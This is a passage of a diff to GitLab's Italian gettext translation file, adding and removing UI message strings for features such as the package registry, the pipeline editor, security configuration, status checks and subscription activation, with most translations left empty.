msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Ultima »"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Password"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "Pianificazione Pipeline"
msgid "Pipeline Schedules"
msgstr "Pianificazione multipla Pipeline"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Totale:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Cambia branch/tag"
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Il tempo fino alla prima richiesta di merge"
@@ -33417,9 +34087,6 @@ msgstr[1] "mins"
msgid "Time|s"
msgstr "s"
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
